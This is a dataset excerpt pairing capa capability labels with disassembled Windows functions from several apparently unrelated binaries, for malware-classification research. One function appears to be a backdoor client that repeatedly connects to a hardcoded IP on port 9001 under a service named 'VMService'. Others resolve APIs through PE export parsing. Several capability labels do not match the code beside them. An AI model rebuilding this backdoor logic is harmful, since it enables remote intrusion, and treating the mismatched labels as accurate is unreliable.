joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002fb8
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Terminate process

Disassembly:
push rbp
sub rsp, 0x1d0
lea rbp, [rsp + 0x80]
lea rax, [rbp - 0x50]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x140002feb
mov ecx, 1
call sym.exit
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov dword [rbp + 0x14c], eax
mov word [rbp - 0x60], 2
mov ecx, 0x2329
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp - 0x5e], ax
lea rax, str.192.168.131.48
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp - 0x5c], eax
mov eax, dword [rbp + 0x14c]
cdqe
lea rdx, [rbp - 0x60]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov dword [rbp + 0x148], eax
cmp dword [rbp + 0x148], 0xffffffff
jne 0x14000307a
mov ecx, 0x2710
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sym.conection
jmp 0x14000309a
mov eax, dword [rbp + 0x14c]
mov ecx, eax
call sym.mainLoop
mov ecx, 0x2710
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sym.conection
nop
add rsp, 0x1d0
pop rbp
ret

Function at 0x1400030f9
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
mov dword [0x14000c0a0], 0x10
mov dword [0x14000c0a4], 2
mov dword [0x14000c0a8], 5
mov dword [0x14000c0ac], 0
mov dword [0x14000c0b0], 0
mov dword [0x14000c0b4], 0
mov dword [0x14000c0b8], 0
lea rax, [sym.ControlHandler]
mov rdx, rax
lea rax, str.VMService
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
call rax
mov qword [0x14000c0c0], rax
mov rax, qword [0x14000c0c0]
test rax, rax
je 0x1400031f4
mov dword [0x14000c0a4], 4
mov rax, qword [0x14000c0c0]
lea rdx, [0x14000c0a0]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
call rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.WorkerThread]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [0x14000c0c8], rax
mov rax, qword [0x14000c0c8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
jmp 0x1400031f5
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140003610
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop
Function at 0x1400042e2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14000c1a8]
test eax, eax
je 0x14000437a
lea rax, [0x14000c180]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14000c1b0]
mov qword [rbp - 8], rax
jmp 0x14000435e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140004352
cmp qword [rbp - 0x10], 0
je 0x140004352
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140004318
lea rax, [0x14000c180]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14000437b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140004480
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400044a8
mov eax, 0
jmp 0x1400044f6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400044d1
mov eax, 0
jmp 0x1400044f6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x1400044f1
mov eax, 0
jmp 0x1400044f6
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x1400044fc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14000457a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140004571
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140004571
mov rax, qword [rbp - 8]
jmp 0x14000458f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140004544
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140011212
Capabilities:
Terminate process

Disassembly:
jmp 0x1400168b0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011267
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x140014c30
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x2c8
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0xb2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x2e8]
lea rcx, [0x14002701e]
call fcn.1400113bb
mov qword [rbp + 8], 0
mov rcx, qword [rbp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x68], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0x68]
mov eax, dword [rcx + rax + 0x88]
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x88]
mov rcx, qword [rbp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0xa8]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rbp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xa8]
mov eax, dword [rax + 0x20]
mov rcx, qword [rbp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xa8]
mov eax, dword [rax + 0x24]
mov rcx, qword [rbp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x108], rax
mov dword [rbp + 0x124], 0
jmp 0x140014d3f
mov eax, dword [rbp + 0x124]
inc eax
mov dword [rbp + 0x124], eax
mov rax, qword [rbp + 0xa8]
mov eax, dword [rax + 0x14]
cmp dword [rbp + 0x124], eax
jae 0x140014e1b
mov eax, dword [rbp + 0x124]
mov rcx, qword [rbp + 0xe8]
mov eax, dword [rcx + rax*4]
mov dword [rbp + 0x144], eax
mov eax, dword [rbp + 0x144]
mov rcx, qword [rbp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x168], rax
mov rax, qword [rbp + 0x168]
mov qword [rbp + 0x188], rax
mov qword [rbp + 0x1a8], 0
mov rcx, qword [rbp + 0x188]
call fcn.1400110e1
mov dword [rbp + 0x1c4], eax
mov eax, dword [rbp + 0x2c8]
cmp dword [rbp + 0x1c4], eax
jne 0x140014e16
mov eax, dword [rbp + 0x124]
mov rcx, qword [rbp + 0x108]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rbp + 0xc8]
mov eax, dword [rcx + rax*4]
mov qword [rbp + 0x1a8], rax
mov rax, qword [rbp + 0x1a8]
mov rcx, qword [rbp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rbp + 8], rax
mov r9, qword [rbp + 8]
mov r8d, dword [rbp + 0x1c4]
mov rdx, qword [rbp + 0x188]
lea rcx, str._s_:_0x_x_:__p_n
call fcn.1400111a9
mov rax, qword [rbp + 8]
jmp 0x140014e1b
jmp 0x140014d31
lea rsp, [rbp + 0x2a8]
pop rdi
pop rbp
ret
Function at 0x1400112b2
Capabilities:
Parse pe header

Disassembly:
jmp 0x140017c00
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140017c20
xor al, al
jmp 0x140017ca1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140017c33
xor al, al
jmp 0x140017ca1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140017c5d
xor al, al
jmp 0x140017ca1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140017c71
xor al, al
jmp 0x140017ca1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140017c83
xor al, al
jmp 0x140017ca1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140017c9f
xor al, al
jmp 0x140017ca1
mov al, 1
add rsp, 0x38
ret
Function at 0x140011fa0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov byte [rsp + 8], cl
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x4a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
movzx ecx, byte [rsp + 0x148]
lea rcx, [0x140027005]
call fcn.1400113bb
mov byte [rbp + 4], 0
jmp 0x140011fee
movzx eax, byte [rbp + 4]
inc al
mov byte [rbp + 4], al
movzx eax, byte [rbp + 4]
cmp eax, 4
jge 0x140012073
mov byte [rbp + 0x24], 0
jmp 0x140012006
movzx eax, byte [rbp + 0x24]
inc al
mov byte [rbp + 0x24], al
movzx eax, byte [rbp + 0x24]
cmp eax, 4
jge 0x14001206e
movzx eax, byte [rbp + 4]
mov rcx, qword [rbp + 0x128]
lea rax, [rcx + rax*4]
movzx ecx, byte [rbp + 0x24]
movzx edx, byte [rbp + 0x120]
shl edx, 2
movzx r8d, byte [rbp + 4]
shl r8d, 2
lea edx, [r8 + rdx*4]
movzx r8d, byte [rbp + 0x24]
add edx, r8d
movsxd rdx, edx
mov r8, qword [rbp + 0x130]
movzx edx, byte [r8 + rdx]
movzx eax, byte [rax + rcx]
xor eax, edx
movzx ecx, byte [rbp + 0x24]
movzx edx, byte [rbp + 4]
mov r8, qword [rbp + 0x128]
lea rdx, [r8 + rdx*4]
mov byte [rdx + rcx], al
jmp 0x140011ffd
jmp 0x140011fe5
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x140013780
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
mov rdi, rsp
mov ecx, 0x4a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x148]
lea rcx, [0x140027005]
call fcn.1400113bb
mov byte [rbp + 4], 0
jmp 0x1400137c5
movzx eax, byte [rbp + 4]
inc al
mov byte [rbp + 4], al
movzx eax, byte [rbp + 4]
cmp eax, 4
jge 0x140013824
mov byte [rbp + 0x24], 0
jmp 0x1400137dd
movzx eax, byte [rbp + 0x24]
inc al
mov byte [rbp + 0x24], al
movzx eax, byte [rbp + 0x24]
cmp eax, 4
jge 0x140013822
movzx eax, byte [rbp + 0x24]
mov rcx, qword [rbp + 0x120]
lea rax, [rcx + rax*4]
movzx ecx, byte [rbp + 4]
movzx eax, byte [rax + rcx]
lea rcx, [0x14001dcb0]
movzx edx, byte [rbp + 0x24]
mov r8, qword [rbp + 0x120]
lea rdx, [r8 + rdx*4]
movzx r8d, byte [rbp + 4]
movzx eax, byte [rcx + rax]
mov byte [rdx + r8], al
jmp 0x1400137d4
jmp 0x1400137bc
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x14001f480
Capabilities:
Encode data using base64

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rdi, rdx
mov rsi, rcx
mov r8, qword [rcx + 0x10]
cmp r8, qword [rcx + 0x18]
je 0x14001f4b2
mov rax, qword [rdi]
mov qword [r8], rax
add qword [rsi + 0x10], 8
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov rax, qword [rsi]
mov rdx, qword [rsi + 8]
mov rcx, rdx
sub rcx, rax
jbe 0x14001f511
sar rcx, 3
lea rax, [rcx + 1]
shr rax, 0x3f
add rax, rcx
inc rax
sar rax, 1
mov r15, rax
neg r15
shl rax, 3
mov rbx, rdx
sub rbx, rax
mov r14, r8
sub r14, rdx
je 0x14001f4fd
mov rcx, rbx
mov r8, r14
call fcn.1400c00f0
mov r8, qword [rsi + 8]
add rbx, r14
mov qword [rsi + 0x10], rbx
lea rax, [r8 + r15*8]
mov qword [rsi + 8], rax
mov r8, rbx
jmp 0x14001f49b
mov rcx, r8
sub rcx, rax
sar rcx, 2
cmp r8, rax
mov ebx, 1
cmovne rbx, rcx
mov rax, rbx
shr rax, 0x3d
jne 0x14001f5ae
lea rcx, [rbx*8]
call fcn.140020730
mov rcx, rbx
and rcx, 0xfffffffffffffffc
lea rdx, [rax + rcx*2]
mov rcx, qword [rsi + 8]
mov r11, qword [rsi + 0x10]
lea r9, [rax + rbx*8]
mov r8, rdx
sub r11, rcx
je 0x14001f585
mov r10, r11
sar r10, 3
and r11, 0xfffffffffffffff8
mov r8, r11
add r8, rdx
shl r10, 3
xor r11d, r11d
mov rbx, qword [rcx + r11]
mov qword [rdx + r11], rbx
add r11, 8
cmp r10, r11
jne 0x14001f574
mov rcx, qword [rsi]
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], r8
mov qword [rsi + 0x18], r9
test rcx, rcx
je 0x14001f49b
call fcn.14001c620
mov r8, qword [rsi + 0x10]
jmp 0x14001f49b
call fcn.140023a10
int3

Function at 0x14001f5c0
Capabilities:
Encode data using base64

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rdi, rdx
mov rsi, rcx
mov r8, qword [rcx + 0x10]
cmp r8, qword [rcx + 0x18]
je 0x14001f5f2
mov rax, qword [rdi]
mov qword [r8], rax
add qword [rsi + 0x10], 8
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov rax, qword [rsi]
mov rdx, qword [rsi + 8]
mov rcx, rdx
sub rcx, rax
jbe 0x14001f651
sar rcx, 3
lea rax, [rcx + 1]
shr rax, 0x3f
add rax, rcx
inc rax
sar rax, 1
mov r15, rax
neg r15
shl rax, 3
mov rbx, rdx
sub rbx, rax
mov r14, r8
sub r14, rdx
je 0x14001f63d
mov rcx, rbx
mov r8, r14
call fcn.1400c00f0
mov r8, qword [rsi + 8]
add rbx, r14
mov qword [rsi + 0x10], rbx
lea rax, [r8 + r15*8]
mov qword [rsi + 8], rax
mov r8, rbx
jmp 0x14001f5db
mov rcx, r8
sub rcx, rax
sar rcx, 2
cmp r8, rax
mov ebx, 1
cmovne rbx, rcx
mov rax, rbx
shr rax, 0x3d
jne 0x14001f6ee
lea rcx, [rbx*8]
call fcn.140020730
mov rcx, rbx
and rcx, 0xfffffffffffffffc
lea rdx, [rax + rcx*2]
mov rcx, qword [rsi + 8]
mov r11, qword [rsi + 0x10]
lea r9, [rax + rbx*8]
mov r8, rdx
sub r11, rcx
je 0x14001f6c5
mov r10, r11
sar r10, 3
and r11, 0xfffffffffffffff8
mov r8, r11
add r8, rdx
shl r10, 3
xor r11d, r11d
mov rbx, qword [rcx + r11]
mov qword [rdx + r11], rbx
add r11, 8
cmp r10, r11
jne 0x14001f6b4
mov rcx, qword [rsi]
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], r8
mov qword [rsi + 0x18], r9
test rcx, rcx
je 0x14001f5db
call fcn.14001c620
mov r8, qword [rsi + 0x10]
jmp 0x14001f5db
call fcn.140023a10
int3
Function at 0x14001f700
Capabilities:
Encode data using base64

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rdi, rdx
mov rsi, rcx
mov r8, qword [rcx + 0x10]
cmp r8, qword [rcx + 0x18]
je 0x14001f732
mov rax, qword [rdi]
mov qword [r8], rax
add qword [rsi + 0x10], 8
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov rax, qword [rsi]
mov rdx, qword [rsi + 8]
mov rcx, rdx
sub rcx, rax
jbe 0x14001f791
sar rcx, 3
lea rax, [rcx + 1]
shr rax, 0x3f
add rax, rcx
inc rax
sar rax, 1
mov r15, rax
neg r15
shl rax, 3
mov rbx, rdx
sub rbx, rax
mov r14, r8
sub r14, rdx
je 0x14001f77d
mov rcx, rbx
mov r8, r14
call fcn.1400c00f0
mov r8, qword [rsi + 8]
add rbx, r14
mov qword [rsi + 0x10], rbx
lea rax, [r8 + r15*8]
mov qword [rsi + 8], rax
mov r8, rbx
jmp 0x14001f71b
mov rcx, r8
sub rcx, rax
sar rcx, 2
cmp r8, rax
mov ebx, 1
cmovne rbx, rcx
mov rax, rbx
shr rax, 0x3d
jne 0x14001f82e
lea rcx, [rbx*8]
call fcn.140020730
mov rcx, rbx
and rcx, 0xfffffffffffffffc
lea rdx, [rax + rcx*2]
mov rcx, qword [rsi + 8]
mov r11, qword [rsi + 0x10]
lea r9, [rax + rbx*8]
mov r8, rdx
sub r11, rcx
je 0x14001f805
mov r10, r11
sar r10, 3
and r11, 0xfffffffffffffff8
mov r8, r11
add r8, rdx
shl r10, 3
xor r11d, r11d
mov rbx, qword [rcx + r11]
mov qword [rdx + r11], rbx
add r11, 8
cmp r10, r11
jne 0x14001f7f4
mov rcx, qword [rsi]
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], r8
mov qword [rsi + 0x18], r9
test rcx, rcx
je 0x14001f71b
call fcn.14001c620
mov r8, qword [rsi + 0x10]
jmp 0x14001f71b
call fcn.140023a10
int3

Function at 0x14001f840
Capabilities:
Encode data using base64

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rdi, rdx
mov rsi, rcx
mov rdx, qword [rcx + 8]
cmp rdx, qword [rcx]
je 0x14001f871
mov rbx, rdx
mov rax, qword [rdi]
mov qword [rbx - 8], rax
add qword [rsi + 8], 0xfffffffffffffff8
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
mov r8, qword [rsi + 0x10]
mov rax, qword [rsi + 0x18]
cmp r8, rax
jae 0x14001f8c3
sub rax, r8
sar rax, 3
lea rcx, [rax + 1]
shr rcx, 0x3f
lea r14, [rax + rcx]
inc r14
sar r14, 1
lea rbx, [r8 + r14*8]
mov rax, r8
sub rax, rdx
sub rbx, rax
sub r8, rdx
je 0x14001f8b5
mov rcx, rbx
call fcn.1400c00f0
mov rdx, qword [rsi + 0x10]
mov qword [rsi + 8], rbx
lea rax, [rdx + r14*8]
mov qword [rsi + 0x10], rax
jmp 0x14001f85b
mov rcx, rax
sub rcx, rdx
sar rcx, 2
cmp rax, rdx
mov r14d, 1
cmovne r14, rcx
mov rax, r14
shr rax, 0x3d
jne 0x14001f969
lea rcx, [r14*8]
call fcn.140020730
lea rbx, [r14*2 + 6]
and rbx, 0xfffffffffffffff8
add rbx, rax
mov rcx, qword [rsi + 8]
mov r10, qword [rsi + 0x10]
lea rdx, [rax + r14*8]
mov r8, rbx
sub r10, rcx
je 0x14001f940
mov r9, r10
sar r9, 3
and r10, 0xfffffffffffffff8
mov r8, r10
add r8, rbx
shl r9, 3
xor r10d, r10d
mov r11, qword [rcx + r10]
mov qword [rbx + r10], r11
add r10, 8
cmp r9, r10
jne 0x14001f92f
mov rcx, qword [rsi]
mov qword [rsi], rax
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], r8
mov qword [rsi + 0x18], rdx
test rcx, rcx
je 0x14001f85b
call fcn.14001c620
mov rbx, qword [rsi + 8]
jmp 0x14001f85b
call fcn.140023a10
int3
Function at 0x140022300
Capabilities:
Encode data using base64

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rdi, rdx
mov rsi, rcx
mov rdx, qword [rcx + 8]
cmp rdx, qword [rcx]
je 0x140022331
mov rbx, rdx
mov rax, qword [rdi]
mov qword [rbx - 8], rax
add qword [rsi + 8], 0xfffffffffffffff8
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
mov r8, qword [rsi + 0x10]
mov rax, qword [rsi + 0x18]
cmp r8, rax
jae 0x140022383
sub rax, r8
sar rax, 3
lea rcx, [rax + 1]
shr rcx, 0x3f
lea r14, [rax + rcx]
inc r14
sar r14, 1
lea rbx, [r8 + r14*8]
mov rax, r8
sub rax, rdx
sub rbx, rax
sub r8, rdx
je 0x140022375
mov rcx, rbx
call fcn.1400c00f0
mov rdx, qword [rsi + 0x10]
mov qword [rsi + 8], rbx
lea rax, [rdx + r14*8]
mov qword [rsi + 0x10], rax
jmp 0x14002231b
mov rcx, rax
sub rcx, rdx
sar rcx, 2
cmp rax, rdx
mov r14d, 1
cmovne r14, rcx
mov rax, r14
shr rax, 0x3d
jne 0x140022429
lea rcx, [r14*8]
call fcn.140020730
lea rbx, [r14*2 + 6]
and rbx, 0xfffffffffffffff8
add rbx, rax
mov rcx, qword [rsi + 8]
mov r10, qword [rsi + 0x10]
lea rdx, [rax + r14*8]
mov r8, rbx
sub r10, rcx
je 0x140022400
mov r9, r10
sar r9, 3
and r10, 0xfffffffffffffff8
mov r8, r10
add r8, rbx
shl r9, 3
xor r10d, r10d
mov r11, qword [rcx + r10]
mov qword [rbx + r10], r11
add r10, 8
cmp r9, r10
jne 0x1400223ef
mov rcx, qword [rsi]
mov qword [rsi], rax
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], r8
mov qword [rsi + 0x18], rdx
test rcx, rcx
je 0x14002231b
call fcn.14001c620
mov rbx, qword [rsi + 8]
jmp 0x14002231b
call fcn.140023a10
int3
Function at 0x140026fa0
Capabilities:
Create thread

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x30
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
mov ecx, 0x10
call fcn.140020730
mov qword [rax], rdi
mov qword [rax + 8], rsi
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r8, [0x140081390]
xor ecx, ecx
xor edx, edx
mov r9, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbx], rax
test rax, rax
je 0x140026ff8
xor eax, eax
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.KERNEL32.dll_GetLastError]

Function at 0x1400272a0
Capabilities:
Terminate process

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rsi, rcx
mov rax, qword [0x142230118]
mov rcx, qword [rax]
call fcn.140020810
mov rcx, qword [0x142202560]
call fcn.140027390
mov rax, rsi
shl rax, 0xf
movabs rcx, 0x7ffffffffff8000
and rcx, rax
mov qword [0x142202558], rcx
mov rcx, rsi
shl rcx, 0x14
call fcn.140027350
mov qword [0x142202560], rax
test rax, rax
je 0x140027302
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.140026aa0
mov rdi, qword [str._b__B]
lea rdx, str.Failed_to_allocate
mov rcx, rdi
call fcn.140017f70
mov rcx, rdi
mov rdx, rsi
call fcn.14001c730
mov rsi, rax
lea rdx, str.MB_for_transposition_table.
mov rcx, rax
call fcn.140017f70
mov rcx, rsi
call fcn.140017b90
mov ecx, 1
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
int3

Function at 0x140027390
Capabilities:
Terminate process

Disassembly:
push rsi
push rdi
sub rsp, 0x28
test rcx, rcx
je 0x1400273ad
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test eax, eax
je 0x1400273b4
add rsp, 0x28
pop rdi
pop rsi
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov rdi, qword [str._b__B]
lea rdx, str.Failed_to_free_large_page_memory._Error_code:_0x
mov rcx, rdi
call fcn.140017f70
mov rax, qword [rdi]
mov rax, qword [rax - 0x18]
mov ecx, dword [rdi + rax + 8]
and ecx, 0xffffffb5
or ecx, 8
mov dword [rdi + rax + 8], ecx
mov rcx, rdi
mov edx, esi
call fcn.140041ec0
mov rcx, qword [rax]
mov rcx, qword [rcx - 0x18]
mov edx, dword [rax + rcx + 8]
and edx, 0xffffffb5
or edx, 2
mov dword [rax + rcx + 8], edx
mov rcx, rax
call fcn.140017b90
mov ecx, 1
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
int3